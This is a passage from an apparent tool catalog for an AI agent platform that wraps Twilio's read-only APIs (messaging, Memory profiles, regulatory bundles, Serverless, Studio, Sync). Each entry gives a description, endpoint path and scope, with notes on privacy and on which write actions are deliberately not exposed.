/api/v1/tools/twilio/list-intelligence-transcripts. Scopes: twilio_read. twilio_list_intelligence_v3_configurations (read) — List configurations — The v3 Conversational Intelligence control plane. Retrieve a list of Intelligence Configurations. Read-only; same content-sensitivity as the v2 transcripts. GET /api/v1/tools/twilio/list-intelligence-v3-configurations. Scopes: twilio_read. twilio_list_intelligence_v3_conversations (read) — List conversations — The v3 Conversational Intelligence control plane. Retrieve a list of Conversations. Read-only; same content-sensitivity as the v2 transcripts. GET /api/v1/tools/twilio/list-intelligence-v3-conversations. Scopes: twilio_read. twilio_list_intelligence_v3_operator_results (read) — List operator results — The v3 Conversational Intelligence control plane. Retrieve a list of OperatorResults. Read-only; same content-sensitivity as the v2 transcripts. GET /api/v1/tools/twilio/list-intelligence-v3-operator-results. Scopes: twilio_read. twilio_list_intelligence_v3_operator_versions (read) — List operator versions — The v3 Conversational Intelligence control plane. Retrieve a list of Operator Versions. Read-only; same content-sensitivity as the v2 transcripts. GET /api/v1/tools/twilio/list-intelligence-v3-operator-versions. Scopes: twilio_read. twilio_list_intelligence_v3_operators (read) — List operators — The v3 Conversational Intelligence control plane. Retrieve a list of Operators. Read-only; same content-sensitivity as the v2 transcripts. GET /api/v1/tools/twilio/list-intelligence-v3-operators. Scopes: twilio_read. twilio_list_knowledge_chunks (read) — List chunks — Twilio Knowledge — the retrieval corpus behind Twilio's AI features. List knowledge chunks. Read-only. Usage-based billing applies to queries, not to these reads. GET /api/v1/tools/twilio/list-knowledge-chunks. Scopes: twilio_read. twilio_list_knowledge_sources (read) — List sources — Twilio Knowledge — the retrieval corpus behind Twilio's AI features. List all knowledge. Read-only. Usage-based billing applies to queries, not to these reads. GET /api/v1/tools/twilio/list-knowledge-sources. Scopes: twilio_read. twilio_list_knowledge_v2_knowledge_bases (read) — List knowledge bases — The v2 Knowledge control plane, organised into knowledge bases. Read-only. GET /api/v1/tools/twilio/list-knowledge-v2-knowledge-bases. Scopes: twilio_read. twilio_list_knowledge_v2_knowledge_chunks (read) — List knowledge chunks — The v2 Knowledge control plane, organised into knowledge bases. Read-only. GET /api/v1/tools/twilio/list-knowledge-v2-knowledge-chunks. Scopes: twilio_read. twilio_list_knowledge_v2_knowledges (read) — List knowledges — The v2 Knowledge control plane, organised into knowledge bases. List Knowledge Sources. Read-only. GET /api/v1/tools/twilio/list-knowledge-v2-knowledges. Scopes: twilio_read. twilio_list_marketplace_available_add_on_extensions (read) — List available add on extensions — The Twilio Marketplace catalog of third-party Add-ons and what this account has installed. Retrieve a list of Extensions for the Available Add-on. READ ONLY. Installing an Add-on creates recurring third-party billing and grants a third party access to this account's call and message data, so it is not exposed. GET /api/v1/tools/twilio/list-marketplace-available-add-on-extensions. Scopes: twilio_read. twilio_list_marketplace_available_add_ons (read) — List available add ons — The Twilio Marketplace catalog of third-party Add-ons and what this account has installed. Retrieve a list of Add-ons currently available to be installed. READ ONLY. Installing an Add-on creates recurring third-party billing and grants a third party access to this account's call and message data, so it is not exposed. GET /api/v1/tools/twilio/list-marketplace-available-add-ons. Scopes: twilio_read. twilio_list_marketplace_installed_add_on_extensions (read) — List installed add on extensions — The Twilio Marketplace catalog of third-party Add-ons and what this account has installed. Retrieve a list of Extensions for the Installed Add-on. READ ONLY. Installing an Add-on creates recurring third-party billing and grants a third party access to this account's call and message data, so it is not exposed. GET /api/v1/tools/twilio/list-marketplace-installed-add-on-extensions. Scopes: twilio_read. twilio_list_marketplace_installed_add_ons (read) — List installed add ons — The Twilio Marketplace catalog of third-party Add-ons and what this account has installed. Retrieve a list of Add-ons currently installed on this Account. READ ONLY. Installing an Add-on creates recurring third-party billing and grants a third party access to this account's call and message data, so it is not exposed. GET /api/v1/tools/twilio/list-marketplace-installed-add-ons. Scopes: twilio_read. twilio_list_marketplace_listings (read) — List listings — The Twilio Marketplace catalog of third-party Add-ons and what this account has installed. This endpoint returns the Listings owned by the authenticated Account. READ ONLY. Installing an Add-on creates recurring third-party billing and grants a third party access to this account's call and message data, so it is not exposed. GET /api/v1/tools/twilio/list-marketplace-listings. Scopes: twilio_read. twilio_list_memory_data_mappings (read) — List data mappings — Twilio Memory — customer profiles, identifiers, traits and observations assembled from conversations. Read-only. Profiles here are personal data about the customer's own end users; do not repeat identifiers or traits further than the task requires. GET /api/v1/tools/twilio/list-memory-data-mappings. Scopes: twilio_read. twilio_list_memory_observation_revisions (read) — List observation revisions — Twilio Memory — customer profiles, identifiers, traits and observations assembled from conversations. Read-only. Profiles here are personal data about the customer's own end users; do not repeat identifiers or traits further than the task requires. GET /api/v1/tools/twilio/list-memory-observation-revisions. Scopes: twilio_read. twilio_list_memory_profile_conversation_summaries (read) — List profile conversation summaries — Twilio Memory — customer profiles, identifiers, traits and observations assembled from conversations. List Conversation Summaries. Read-only. Profiles here are personal data about the customer's own end users; do not repeat identifiers or traits further than the task requires. GET /api/v1/tools/twilio/list-memory-profile-conversation-summaries. Scopes: twilio_read. twilio_list_memory_profile_identifiers (read) — List profile identifiers — Twilio Memory — customer profiles, identifiers, traits and observations assembled from conversations. Read-only. Profiles here are personal data about the customer's own end users; do not repeat identifiers or traits further than the task requires. GET /api/v1/tools/twilio/list-memory-profile-identifiers. Scopes: twilio_read. twilio_list_memory_profile_imports_v2 (read) — List profile imports v2 — Twilio Memory — customer profiles, identifiers, traits and observations assembled from conversations. Get a list of imports. Read-only. Profiles here are personal data about the customer's own end users; do not repeat identifiers or traits further than the task requires. GET /api/v1/tools/twilio/list-memory-profile-imports-v2. Scopes: twilio_read. twilio_list_memory_profile_observations (read) — List profile observations — Twilio Memory — customer profiles, identifiers, traits and observations assembled from conversations. List Observations. Read-only. Profiles here are personal data about the customer's own end users; do not repeat identifiers or traits further than the task requires. GET /api/v1/tools/twilio/list-memory-profile-observations. Scopes: twilio_read. twilio_list_memory_profile_traits (read) — List profile traits — Twilio Memory — customer profiles, identifiers, traits and observations assembled from conversations. Read-only. Profiles here are personal data about the customer's own end users; do not repeat identifiers or traits further than the task requires. GET /api/v1/tools/twilio/list-memory-profile-traits. Scopes: twilio_read. twilio_list_memory_profiles (read) — List profiles — Twilio Memory — customer profiles, identifiers, traits and observations assembled from conversations. Read-only. Profiles here are personal data about the customer's own end users; do not repeat identifiers or traits further than the task requires. GET /api/v1/tools/twilio/list-memory-profiles. Scopes: twilio_read. twilio_list_memory_stores (read) — List stores — Twilio Memory — customer profiles, identifiers, traits and observations assembled from conversations. List Memory Stores. Read-only. Profiles here are personal data about the customer's own end users; do not repeat identifiers or traits further than the task requires. GET /api/v1/tools/twilio/list-memory-stores. Scopes: twilio_read. twilio_list_memory_trait_groups (read) — List trait groups — Twilio Memory — customer profiles, identifiers, traits and observations assembled from conversations. Read-only. Profiles here are personal data about the customer's own end users; do not repeat identifiers or traits further than the task requires. GET /api/v1/tools/twilio/list-memory-trait-groups. Scopes: twilio_read. twilio_list_message_media (read) — List the media attached to one MMS, with each item's content type and URI. Today an agent sees num_media on a message and has no way to reach the attachments at all. METADATA ONLY — this does not fetch the bytes. GET /api/v1/tools/twilio/message/media. Scopes: twilio_read. twilio_list_messages (read) — List messages sent from or received by this account, newest first, filterable by recipient, sender and date. Each entry carries the message SID that twilio_get_message and twilio_delete_message need, plus body, delivery status, segment count, price and error code. Message bodies are the customer's own content — do not repeat them further than the task requires. GET /api/v1/tools/twilio/messages. Scopes: twilio_read. twilio_list_messaging_brand_vettings (read) — List brand vettings — The Messaging API — Messaging Service internals, sender pools, link shortening and A2P registration state. Free and read-only. GET /api/v1/tools/twilio/list-messaging-brand-vettings. Scopes: twilio_read. twilio_list_messaging_destination_alpha_senders (read) — List destination alpha senders — The Messaging API — Messaging Service internals, sender pools, link shortening and A2P registration state. Free and read-only. GET /api/v1/tools/twilio/list-messaging-destination-alpha-senders. Scopes: twilio_read. twilio_list_messaging_service_alpha_senders (read) — List the alphanumeric sender IDs registered on a Messaging Service (a brand name shown instead of a number). Alphanumeric senders are one-way and are rejected outright in some countries, so a message that vanished may have gone out from one of these. Free and non-mutating; twilio_add_messaging_service_alpha_sender registers one. GET /api/v1/tools/twilio/messaging-service/alpha-senders. Scopes: twilio_read. twilio_list_messaging_service_channel_senders (read) — List the non-SMS senders on a Messaging Service — WhatsApp, RCS and other channels. Agentic Fabriq's send accepts a whatsapp: recipient, so this answers whether the service has a WhatsApp sender at all before a send is attempted and silently fails. Free and non-mutating; twilio_add_messaging_service_channel_sender adds one. GET /api/v1/tools/twilio/messaging-service/channel-senders. Scopes: twilio_read. twilio_list_messaging_service_numbers (read) — List the phone numbers in a Messaging Service's sender pool. When a send uses messaging_service_sid, Twilio picks the sender from this pool — so this is the only way to answer 'which number did that message actually go out from, and what else could it have used'. Free and non-mutating; twilio_add_messaging_service_number and twilio_remove_messaging_service_number change the pool. GET /api/v1/tools/twilio/messaging-service/phone-numbers. Scopes: twilio_read. twilio_list_messaging_service_short_codes (read) — List the short codes attached to a Messaging Service. A short code is a separately-provisioned, carrier-approved sender; if a send went out from one, this is where it came from. GET /api/v1/tools/twilio/messaging-service/short-codes. Scopes: twilio_read. twilio_list_messaging_services (read) — List the account's Messaging Services. A Messaging Service SID (MG…) is the other legitimate sender for twilio_send_message, and is what an account with a number pool, a registered brand or sender-ID rotation will be using instead of a bare number. If this returns nothing, send from a number instead. GET /api/v1/tools/twilio/messaging-services. Scopes: twilio_read. twilio_list_messaging_v2_channels_senders (read) — List channels senders — The v2 Messaging surface — the unified channel sender catalog. Retrieve a list of Senders. Free and read-only. GET /api/v1/tools/twilio/list-messaging-v2-channels-senders. Scopes: twilio_read. twilio_list_notifications (read) — The classic per-account notification log: errors and warnings Twilio recorded against this account's API requests and calls. Older and coarser than twilio_list_alerts, but it is the log the voice stack writes to, so check both when a call misbehaved. GET /api/v1/tools/twilio/notifications. Scopes: twilio_read. twilio_list_number_deactivations (read) — Get the list of phone numbers that carriers deactivated on a given day — numbers whose subscriber changed. Messaging a reassigned number sends a stranger someone else's content, so this is the correct way to stop. Returns a time-limited download URL for that day's file; free and read-only. GET /api/v1/tools/twilio/number-deactivations. Scopes: twilio_read. twilio_list_numbers_authorization_documents (read) — List authorization documents — Regulatory Compliance — the bundles, end users and documents a country's telecom regulator requires before it will let this account keep a number. Retrieve a list of AuthorizationDocuments belonging to the account initiating the request. READ ONLY. Submitting identity documents to a national regulator is a legal filing and is not exposed; reading the status of one that has already been filed has no lever attached to it. GET /api/v1/tools/twilio/list-numbers-authorization-documents. Scopes: twilio_read. twilio_list_numbers_bundle_copies (read) — List bundle copies — Regulatory Compliance — the bundles, end users and documents a country's telecom regulator requires before it will let this account keep a number. Retrieve a list of all Bundles Copies for a Bundle. READ ONLY. Submitting identity documents to a national regulator is a legal filing and is not exposed; reading the status of one that has already been filed has no lever attached to it. GET /api/v1/tools/twilio/list-numbers-bundle-copies. Scopes: twilio_read. twilio_list_numbers_caller_ids (read) — List caller ids — Regulatory Compliance — the bundles, end users and documents a country's telecom regulator requires before it will let this account keep a number. List verified caller IDs for an account. READ ONLY. Submitting identity documents to a national regulator is a legal filing and is not exposed; reading the status of one that has already been filed has no lever attached to it. GET /api/v1/tools/twilio/list-numbers-caller-ids. Scopes: twilio_read. twilio_list_numbers_dependent_hosted_number_orders (read) — List dependent hosted-number orders — Regulatory Compliance — the bundles, end users and documents a country's telecom regulator requires before it will let this account keep a number. Retrieve a list of dependent HostedNumberOrders belonging to the AuthorizationDocument. READ ONLY. Submitting identity documents to a national regulator is a legal filing and is not exposed; reading the status of one that has already been filed has no lever attached to it. GET /api/v1/tools/twilio/list-numbers-dependent-hosted-number-orders. Scopes: twilio_read. twilio_list_numbers_end_user_types (read) — List end user types — Regulatory Compliance — the bundles, end users and documents a country's telecom regulator requires before it will let this account keep a number. Retrieve a list of all End-User Types. READ ONLY. Submitting identity documents to a national regulator is a legal filing and is not exposed; reading the status of one that has already been filed has no lever attached to it. GET /api/v1/tools/twilio/list-numbers-end-user-types. Scopes: twilio_read. twilio_list_numbers_end_users (read) — List end users — Regulatory Compliance — the bundles, end users and documents a country's telecom regulator requires before it will let this account keep a number. Retrieve a list of all End User for an account. READ ONLY. Submitting identity documents to a national regulator is a legal filing and is not exposed; reading the status of one that has already been filed has no lever attached to it. GET /api/v1/tools/twilio/list-numbers-end-users. Scopes: twilio_read. twilio_list_numbers_evaluations (read) — List evaluations — Regulatory Compliance — the bundles, end users and documents a country's telecom regulator requires before it will let this account keep a number. Retrieve a list of Evaluations associated to the Bundle resource. READ ONLY. Submitting identity documents to a national regulator is a legal filing and is not exposed; reading the status of one that has already been filed has no lever attached to it. GET /api/v1/tools/twilio/list-numbers-evaluations. Scopes: twilio_read. twilio_list_numbers_hosted_number_orders (read) — List hosted-number orders — Regulatory Compliance — the bundles, end users and documents a country's telecom regulator requires before it will let this account keep a number. Retrieve a list of HostedNumberOrders belonging to the account initiating the request. READ ONLY. Submitting identity documents to a national regulator is a legal filing and is not exposed; reading the status of one that has already been filed has no lever attached to it. GET /api/v1/tools/twilio/list-numbers-hosted-number-orders. Scopes: twilio_read. twilio_list_numbers_item_assignments (read) — List item assignments — Regulatory Compliance — the bundles, end users and documents a country's telecom regulator requires before it will let this account keep a number. Retrieve a list of all Assigned Items for an account. READ ONLY. Submitting identity documents to a national regulator is a legal filing and is not exposed; reading the status of one that has already been filed has no lever attached to it. GET /api/v1/tools/twilio/list-numbers-item-assignments. Scopes: twilio_read. twilio_list_numbers_regulations (read) — List regulations — Regulatory Compliance — the bundles, end users and documents a country's telecom regulator requires before it will let this account keep a number. Retrieve a list of all Regulations. READ ONLY. Submitting identity documents to a national regulator is a legal filing and is not exposed; reading the status of one that has already been filed has no lever attached to it. GET /api/v1/tools/twilio/list-numbers-regulations. Scopes: twilio_read. twilio_list_numbers_short_code_applications (read) — List short code applications — Regulatory Compliance — the bundles, end users and documents a country's telecom regulator requires before it will let this account keep a number. READ ONLY. Submitting identity documents to a national regulator is a legal filing and is not exposed; reading the status of one that has already been filed has no lever attached to it. GET /api/v1/tools/twilio/list-numbers-short-code-applications. Scopes: twilio_read. twilio_list_numbers_signing_request_configurations (read) — List signing request configurations — The Phone Numbers API — porting, hosting and eligibility. Synchronous operation to retrieve configurations for the customer. READ ONLY. Starting or cancelling a port moves a number between carriers on the strength of a Letter of Authorization and can strand it between them, so no write here is exposed. GET /api/v1/tools/twilio/list-numbers-signing-request-configurations. Scopes: twilio_read. twilio_list_numbers_supporting_document_types (read) — List supporting document types — Regulatory Compliance — the bundles, end users and documents a country's telecom regulator requires before it will let this account keep a number. Retrieve a list of all Supporting Document Types. READ ONLY. Submitting identity documents to a national regulator is a legal filing and is not exposed; reading the status of one that has already been filed has no lever attached to it. GET /api/v1/tools/twilio/list-numbers-supporting-document-types. Scopes: twilio_read. twilio_list_numbers_supporting_documents (read) — List supporting documents — Regulatory Compliance — the bundles, end users and documents a country's telecom regulator requires before it will let this account keep a number. Retrieve a list of all Supporting Document for an account. READ ONLY. Submitting identity documents to a national regulator is a legal filing and is not exposed; reading the status of one that has already been filed has no lever attached to it. GET /api/v1/tools/twilio/list-numbers-supporting-documents. Scopes: twilio_read. twilio_list_outgoing_caller_ids (read) — List the non-Twilio numbers verified as caller IDs on this account — and, on a trial account, the only numbers it is allowed to message. A trial send to an unverified number fails with error 21608, and this is how to tell in advance. Free and non-mutating. Renaming and removing a verified caller ID are exposed; VERIFYING a new one places an unsolicited call or SMS to a number the account does not own, and is not. GET /api/v1/tools/twilio/outgoing-caller-ids. Scopes: twilio_read. twilio_list_phone_numbers (read) — List the Twilio numbers this account owns, with each number's SID, E.164 value, console label and SMS/MMS/voice capabilities. START HERE before sending: twilio_send_message needs a sender the account actually holds, and Twilio numbers are not guessable. Check the `capabilities` field — a voice-only number cannot send SMS. GET /api/v1/tools/twilio/phone-numbers. Scopes: twilio_read. twilio_list_port_in_requests (read) — List in-flight requests to port numbers into this account, with each one's status and target date. READ ONLY: starting or cancelling a port moves a number between carriers on the strength of a Letter of Authorization and can strand it between them, so neither is exposed. GET /api/v1/tools/twilio/port-in-requests. Scopes: twilio_read. twilio_list_pricing_messaging_countries (read) — List messaging countries — Account-specific rate cards. The price is per account, so reading it is the only honest way to answer what something will cost. Free and read-only. GET /api/v1/tools/twilio/list-pricing-messaging-countries. Scopes: twilio_read. twilio_list_pricing_phone_number_countries (read) — List phone number countries — Account-specific rate cards. The price is per account, so reading it is the only honest way to answer what something will cost. Free and read-only. GET /api/v1/tools/twilio/list-pricing-phone-number-countries. Scopes: twilio_read. twilio_list_pricing_v2_trunking_countries (read) — List trunking countries — The v2 rate cards, which add trunking and per-destination voice prices. Free and read-only. GET /api/v1/tools/twilio/list-pricing-v2-trunking-countries. Scopes: twilio_read. twilio_list_pricing_v2_voice_countries (read) — List voice countries — The v2 rate cards, which add trunking and per-destination voice prices. Free and read-only. GET /api/v1/tools/twilio/list-pricing-v2-voice-countries. Scopes: twilio_read. twilio_list_pricing_voice_countries (read) — List voice countries — Account-specific rate cards. The price is per account, so reading it is the only honest way to answer what something will cost. Free and read-only. GET /api/v1/tools/twilio/list-pricing-voice-countries. Scopes: twilio_read. twilio_list_queue_members (read) — List queue members — Part of Twilio's classic REST API, scoped to the account this connection is bound to. Retrieve the members of the queue. Free and read-only. GET /api/v1/tools/twilio/list-queue-members. Scopes: twilio_read. twilio_list_queues (read) — List queues — Part of Twilio's classic REST API, scoped to the account this connection is bound to. Retrieve a list of queues belonging to the account used to make the request. Free and read-only. GET /api/v1/tools/twilio/list-queues. Scopes: twilio_read. twilio_list_recording_add_on_result_payloads (read) — List recording add on result payloads — Part of Twilio's classic REST API, scoped to the account this connection is bound to. Retrieve a list of payloads belonging to the AddOnResult. Free and read-only. GET /api/v1/tools/twilio/list-recording-add-on-result-payloads. Scopes: twilio_read. twilio_list_recording_add_on_results (read) — List recording add on results — Part of Twilio's classic REST API, scoped to the account this connection is bound to. Retrieve a list of results belonging to the recording. Free and read-only. GET /api/v1/tools/twilio/list-recording-add-on-results. Scopes: twilio_read. twilio_list_recording_transcriptions (read) — List recording transcriptions — Part of Twilio's classic REST API, scoped to the account this connection is bound to. Free and read-only. GET /api/v1/tools/twilio/list-recording-transcriptions. Scopes: twilio_read. twilio_list_recordings (read) — List the recordings on this account with each one's duration, channel count, price, source and encryption status. METADATA ONLY — the audio itself is a recording of a real conversation and is not returned or fetched. GET /api/v1/tools/twilio/recordings. Scopes: twilio_read. twilio_list_regulatory_bundles (read) — List the regulatory compliance bundles on this account and their review status. Outside the US a number cannot be kept without an approved bundle, so a rejected bundle explains a number that will not provision. Free and non-mutating. Assembling a bundle — creating it, attaching end users and supporting documents, running the compliance evaluation — is exposed separately; SUBMITTING one to a national regulator is a legal filing and is not. GET /api/v1/tools/twilio/regulatory-bundles. Scopes: twilio_read. twilio_list_serverless_asset_versions (read) — List asset versions — Twilio Serverless (Functions and Assets) — the customer's own code running on Twilio. Retrieve a list of all Asset Versions. READ ONLY, and the split matters: reading a function's logs is how a customer debugs the thing, while DEPLOYING agent-authored JavaScript to a public *.twil.io URL running with the account's credentials is never exposed. GET /api/v1/tools/twilio/list-serverless-asset-versions. Scopes: twilio_read. twilio_list_serverless_assets (read) — List assets — Twilio Serverless (Functions and Assets) — the customer's own code running on Twilio. Retrieve a list of all Assets. READ ONLY, and the split matters: reading a function's logs is how a customer debugs the thing, while DEPLOYING agent-authored JavaScript to a public *.twil.io URL running with the account's credentials is never exposed. GET /api/v1/tools/twilio/list-serverless-assets. Scopes: twilio_read. twilio_list_serverless_builds (read) — List builds — Twilio Serverless (Functions and Assets) — the customer's own code running on Twilio. Retrieve a list of all Builds. READ ONLY, and the split matters: reading a function's logs is how a customer debugs the thing, while DEPLOYING agent-authored JavaScript to a public *.twil.io URL running with the account's credentials is never exposed. GET /api/v1/tools/twilio/list-serverless-builds. Scopes: twilio_read. twilio_list_serverless_deployments (read) — List deployments — Twilio Serverless (Functions and Assets) — the customer's own code running on Twilio. Retrieve a list of all Deployments. READ ONLY, and the split matters: reading a function's logs is how a customer debugs the thing, while DEPLOYING agent-authored JavaScript to a public *.twil.io URL running with the account's credentials is never exposed. GET /api/v1/tools/twilio/list-serverless-deployments. Scopes: twilio_read. twilio_list_serverless_environments (read) — List environments — Twilio Serverless (Functions and Assets) — the customer's own code running on Twilio. Retrieve a list of all environments. READ ONLY, and the split matters: reading a function's logs is how a customer debugs the thing, while DEPLOYING agent-authored JavaScript to a public *.twil.io URL running with the account's credentials is never exposed. GET /api/v1/tools/twilio/list-serverless-environments. Scopes: twilio_read. twilio_list_serverless_function_versions (read) — List function versions — Twilio Serverless (Functions and Assets) — the customer's own code running on Twilio. Retrieve a list of all Function Version resources. READ ONLY, and the split matters: reading a function's logs is how a customer debugs the thing, while DEPLOYING agent-authored JavaScript to a public *.twil.io URL running with the account's credentials is never exposed. GET /api/v1/tools/twilio/list-serverless-function-versions. Scopes: twilio_read. twilio_list_serverless_functions (read) — List functions — Twilio Serverless (Functions and Assets) — the customer's own code running on Twilio. Retrieve a list of all Functions. READ ONLY, and the split matters: reading a function's logs is how a customer debugs the thing, while DEPLOYING agent-authored JavaScript to a public *.twil.io URL running with the account's credentials is never exposed. GET /api/v1/tools/twilio/list-serverless-functions. Scopes: twilio_read. twilio_list_serverless_logs (read) — List logs — Twilio Serverless (Functions and Assets) — the customer's own code running on Twilio. Retrieve a list of all logs. READ ONLY, and the split matters: reading a function's logs is how a customer debugs the thing, while DEPLOYING agent-authored JavaScript to a public *.twil.io URL running with the account's credentials is never exposed. GET /api/v1/tools/twilio/list-serverless-logs. Scopes: twilio_read. twilio_list_serverless_services (read) — List services — Twilio Serverless (Functions and Assets) — the customer's own code running on Twilio. Retrieve a list of all Services. READ ONLY, and the split matters: reading a function's logs is how a customer debugs the thing, while DEPLOYING agent-authored JavaScript to a public *.twil.io URL running with the account's credentials is never exposed. GET /api/v1/tools/twilio/list-serverless-services. Scopes: twilio_read. twilio_list_serverless_variables (read) — List variables — Twilio Serverless (Functions and Assets) — the customer's own code running on Twilio. Retrieve a list of all Variables. READ ONLY, and the split matters: reading a function's logs is how a customer debugs the thing, while DEPLOYING agent-authored JavaScript to a public *.twil.io URL running with the account's credentials is never exposed. GET /api/v1/tools/twilio/list-serverless-variables. Scopes: twilio_read. twilio_list_short_codes (read) — List the short codes this account owns. A short code is a carrier-approved five- or six-digit sender with its own throughput and its own approval; twilio_list_phone_numbers does not return them, so without this an account's short-code senders are invisible. GET /api/v1/tools/twilio/short-codes. Scopes: twilio_read. twilio_list_signing_keys (read) — List signing keys — Part of Twilio's classic REST API, scoped to the account this connection is bound to. Free and read-only. GET /api/v1/tools/twilio/list-signing-keys. Scopes: twilio_read. twilio_list_sip_auth_calls_credential_list_mappings (read) — List SIP auth calls credential list mappings — Part of Twilio's classic REST API, scoped to the account this connection is bound to. Retrieve a list of credential list mappings belonging to the domain used in the request. Free and read-only. GET /api/v1/tools/twilio/list-sip-auth-calls-credential-list-mappings. Scopes: twilio_read. twilio_list_sip_auth_calls_ip_access_control_list_mappings (read) — List SIP auth calls IP access control list mappings — Part of Twilio's classic REST API, scoped to the account this connection is bound to. Retrieve a list of IP Access Control List mappings belonging to the domain used in the request. Free and read-only. GET /api/v1/tools/twilio/list-sip-auth-calls-ip-access-control-list-mappings. Scopes: twilio_read. twilio_list_sip_auth_registrations_credential_list_mappings (read) — List SIP auth registrations credential list mappings — Part of Twilio's classic REST API, scoped to the account this connection is bound to. Retrieve a list of credential list mappings belonging to the domain used in the request. Free and read-only. GET /api/v1/tools/twilio/list-sip-auth-registrations-credential-list-mappings. Scopes: twilio_read. twilio_list_sip_credential_list_mappings (read) — List SIP credential list mappings — Part of Twilio's classic REST API, scoped to the account this connection is bound to. Read multiple CredentialListMapping resources from an account. Free and read-only. GET /api/v1/tools/twilio/list-sip-credential-list-mappings. Scopes: twilio_read. twilio_list_sip_credential_lists (read) — List SIP credential lists — Part of Twilio's classic REST API, scoped to the account this connection is bound to. Get All Credential Lists. Free and read-only. GET /api/v1/tools/twilio/list-sip-credential-lists. Scopes: twilio_read. twilio_list_sip_credentials (read) — List SIP credentials — Part of Twilio's classic REST API, scoped to the account this connection is bound to. Retrieve a list of credentials. Free and read-only. GET /api/v1/tools/twilio/list-sip-credentials. Scopes: twilio_read. twilio_list_sip_domains (read) — List SIP domains — Part of Twilio's classic REST API, scoped to the account this connection is bound to. Retrieve a list of domains belonging to the account used to make the request. Free and read-only. GET /api/v1/tools/twilio/list-sip-domains. Scopes: twilio_read. twilio_list_sip_ip_access_control_list_mappings (read) — List SIP IP access control list mappings — Part of Twilio's classic REST API, scoped to the account this connection is bound to. Retrieve a list of IpAccessControlListMapping resources. Free and read-only. GET /api/v1/tools/twilio/list-sip-ip-access-control-list-mappings. Scopes: twilio_read. twilio_list_sip_ip_access_control_lists (read) — List SIP IP access control lists — Part of Twilio's classic REST API, scoped to the account this connection is bound to. Retrieve a list of IpAccessControlLists that belong to the account used to make the request. Free and read-only. GET /api/v1/tools/twilio/list-sip-ip-access-control-lists. Scopes: twilio_read. twilio_list_sip_ip_addresses (read) — List SIP IP addresses — Part of Twilio's classic REST API, scoped to the account this connection is bound to. Read multiple IpAddress resources. Free and read-only. GET /api/v1/tools/twilio/list-sip-ip-addresses. Scopes: twilio_read. twilio_list_studio_execution_steps (read) — Walk one flow execution step by step — which widget ran, what it produced and where the run branched. This is how a Studio automation that did the wrong thing is diagnosed. GET /api/v1/tools/twilio/studio-execution/steps. Scopes: twilio_read. twilio_list_studio_executions (read) — List runs of one Studio flow, with each run's contact address, status and timestamps. Observability for an automation the customer already built. TRIGGERING an execution is not exposed: it fires the whole automation at a chosen number and bills every call and message the flow then sends. GET /api/v1/tools/twilio/studio-executions. Scopes: twilio_read. twilio_list_studio_flow_revisions (read) — List flow revisions — Studio — the customer's own call and message automations, and the runs of them. Retrieve a list of all Flows revisions. READ ONLY, for the same reason as v1. GET /api/v1/tools/twilio/list-studio-flow-revisions. Scopes: twilio_read. twilio_list_studio_flows (read) — List the Studio flows on this account with their status, revision and timestamps. A Studio flow IS the logic that answers the customer's real inbound calls and messages, so this is read-only: authoring, editing, deleting and triggering a flow are all deliberately not exposed. GET /api/v1/tools/twilio/studio-flows. Scopes: twilio_read. twilio_list_studio_v1_engagements (read) — List engagements — The v1 Studio surface, where a flow run is called an Engagement rather than an Execution. Retrieve a list of all Engagements for the Flow. READ ONLY. A Studio flow is the logic that answers the customer's real inbound calls and messages; authoring one, deleting one and triggering a run are all deliberately not exposed. GET /api/v1/tools/twilio/list-studio-v1-engagements. Scopes: twilio_read. twilio_list_studio_v1_execution_steps (read) — List execution steps — The v1 Studio surface, where a flow run is called an Engagement rather than an Execution. Retrieve a list of all Steps for an Execution. READ ONLY. A Studio flow is the logic that answers the customer's real inbound calls and messages; authoring one, deleting one and triggering a run are all deliberately not exposed. GET /api/v1/tools/twilio/list-studio-v1-execution-steps. Scopes: twilio_read. twilio_list_studio_v1_executions (read) — List executions — The v1 Studio surface, where a flow run is called an Engagement rather than an Execution. Retrieve a list of all Executions for the Flow. READ ONLY. A Studio flow is the logic that answers the customer's real inbound calls and messages; authoring one, deleting one and triggering a run are all deliberately not exposed. GET /api/v1/tools/twilio/list-studio-v1-executions. Scopes: twilio_read. twilio_list_studio_v1_flows (read) — List flows — The v1 Studio surface, where a flow run is called an Engagement rather than an Execution. Retrieve a list of all Flows. READ ONLY. A Studio flow is the logic that answers the customer's real inbound calls and messages; authoring one, deleting one and triggering a run are all deliberately not exposed. GET /api/v1/tools/twilio/list-studio-v1-flows. Scopes: twilio_read. twilio_list_studio_v1_steps (read) — List steps — The v1 Studio surface, where a flow run is called an Engagement rather than an Execution. Retrieve a list of all Steps for an Engagement. READ ONLY. A Studio flow is the logic that answers the customer's real inbound calls and messages; authoring one, deleting one and triggering a run are all deliberately not exposed. GET /api/v1/tools/twilio/list-studio-v1-steps. Scopes: twilio_read. twilio_list_sync_document_permissions (read) — List document permissions — Twilio Sync — the account's real-time state store of documents, lists, maps and streams. Retrieve a list of all Permissions applying to a Sync Document. Read-only. Sync objects hold whatever the customer's application put in them, so treat their data as customer content. GET /api/v1/tools/twilio/list-sync-document-permissions. Scopes: twilio_read. twilio_list_sync_documents (read) — List documents — Twilio Sync — the account's real-time state store of documents, lists, maps and streams. Read-only. Sync objects hold whatever the customer's application put in them, so treat their data as customer content. GET /api/v1/tools/twilio/list-sync-documents. Scopes: twilio_read. twilio_list_sync_list_items (read) — List list items — Twilio Sync — the account's real-time state store of documents, lists, maps and streams. Read-only. Sync objects hold whatever the customer's application put in them, so treat their data as customer content. GET /api/v1/tools/twilio/list-sync-list-items. Scopes: twilio_read. twilio_list_sync_list_permissions (read) — List list permissions — Twilio Sync — the account's real-time state store of documents, lists, maps and streams. Retrieve a list of all Permissions applying to a Sync List. Read-only. Sync objects hold whatever the customer's application put in them, so treat their data as customer content. GET /api/v1/tools/twilio/list-sync-list-permissions. Scopes: twilio_read. twilio_list_sync_lists (read) — List lists — Twilio Sync — the account's real-time state store of documents, lists, maps and streams. Read-only. Sync objects hold whatever the customer's application put in them, so treat their data as customer content. GET /api/v1/tools/twilio/list-sync-lists. Scopes: twilio_read. twilio_list_sync_map_items (read) — List map items — Twilio Sync — the account's real-time state store of documents, lists, maps and streams. Read-only. Sync objects hold whatever the customer's application put in them, so treat their data as customer content. GET /api/v1/tools/twilio/list-sync-map-items. Scopes: twilio_read. twilio_list_sync_map_permissions (read) — List map permissions — Twilio Sync — the account's real-time state store of documents, lists, maps and streams. Retrieve a list of all Permissions applying to a Sync Map. Read-only. Sync objects hold whatever the customer's application put in them, so treat their data as customer content. GET /api/v1/tools/twilio/list-sync-map-permissions. Scopes: twilio_read. twilio_list_sync_maps (read) — List maps — Twilio Sync — the 